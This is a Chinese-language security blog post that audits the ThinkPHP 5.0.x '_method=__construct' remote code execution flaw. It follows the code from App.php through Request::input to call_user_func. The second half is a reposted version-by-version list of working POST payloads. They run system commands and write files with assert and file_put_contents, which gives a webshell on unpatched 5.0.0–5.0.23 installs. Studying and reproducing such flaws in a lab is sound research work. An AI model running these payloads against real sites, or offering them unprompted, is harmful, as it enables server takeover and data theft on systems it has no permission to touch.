我要留下我的脚印,让你知道这个夏天我路过你的世界,只是悄悄的留下。
前言
开始学习thinkphp框架,就从这里开始吧。学习下thinkphp5的一些rce漏洞,进行审计。
跟着大佬的博客进行学习复现!本此环境使用的是5.0.22版本的thinkphp
漏洞触发
Payload_1
先看payload是什么样子的
get
index.php?s=captcha
post
_method=__construct&filter[]=system&method=get&get[]=whoami
入口点是App.php
文件,该文件是在\thinkphp\thinkphp\library\think
目录下
由此可以看出此处进行实例化了一个对象$request
传给了routeCheck
,在本文件中进行跟进
跟进Route中的check方法也就是Route::check
$method
获取值是从request->$method()
中获取的,然后$rules
会根据不同的$method
值来获取不同的路由规则。
由上可知跟进到了request.php
中的method
方法
主要代码部分
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
payload中请求的路由是captcha
,它的位置是/vendor/topthink/think-captcha/src/helper.php
,根据它的注册规则。可以看到这里是传入get请求。
在最后退出method
方法后,return $this->method="get"
才不会报错,印证了payload中的method=get
又因为在配置文件config.php
中设置了默认配置为
所以才会存在只要post一个_method
参数即可进行判断,然后即可执行类的任意函数
看下request类的__construct()
方法,
property_exists
检查对象或类是否具有该属性。大概意思为:在$options
中遍历name
和item
。如果存在该name
则重新赋值$name=$item
导致变量覆盖。且这里$options
是用户可以控制输入的。所以这里相当于可以执行危险函数。
检测路由后会继续进行,应当进入exec
方法了,也就是self::exec
,进入其中的method
分支
发现回调,继续跟进Request::instance()->param()
实例化了一个static
对象,继续跟进param
array_merge()
方法,将两个数组合并为一个数组,这里是将传入的param
参数与url
中get
方式提交的参数合并成一个数组。
param()
方法最后返回
return $this->input($this->param, $name, $default, $filter);
再跟进$this->input()
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
此方法对输入的内容也就是接受到的参数进行一些过滤。,过滤器通过$this->getFilter
获取
而上面已经分析过,传入的$this->filter=system
传到input
,而且也可以看到在初始化input方法时传入的$data
是个数组。所以可以进入解析过滤器的部分,不会报错。
//解析过滤器
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
对于数组中的每一个值,都调用filterValue
函数,也就是间接调用了call_user_func()
函数,并且两个参数都是可控的,这就造成了RCE
poc使用
method __contruct导致的rce 各版本payload
转载自https://y4er.com/post/thinkphp5-rce
5.0&5.0.1-5.0.7
与debug无关
命令执行rce
POST
?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=POST&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写入木马getshell
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.8-5.0.13
与debug无关
命令执行rce
POST
?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写入木马getshell
POST
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.14-5.0.23
默认debug=flase
,需要开启debug才能命令执行。
POST
?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写入木马getshell
POST
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
# 5.0.21以后
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('test.php','<?php phpinfo();')
有captcha路由时无需debug=true
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.24
最后一个版本RCE被修复
总结
emm还是挺有意思的,虽然过程难受,刚入手有亿点点难,一个点能翻半天,但是总的来说,这样才能真正学到东西。收获还是蛮大的。
Reference
- 本文链接:https://m0re.top/posts/86389a60/
- 版权声明:本博客所有文章除特别声明外,均默认采用 许可协议。
您可以点击下方按钮切换对应评论系统,
Valineutterances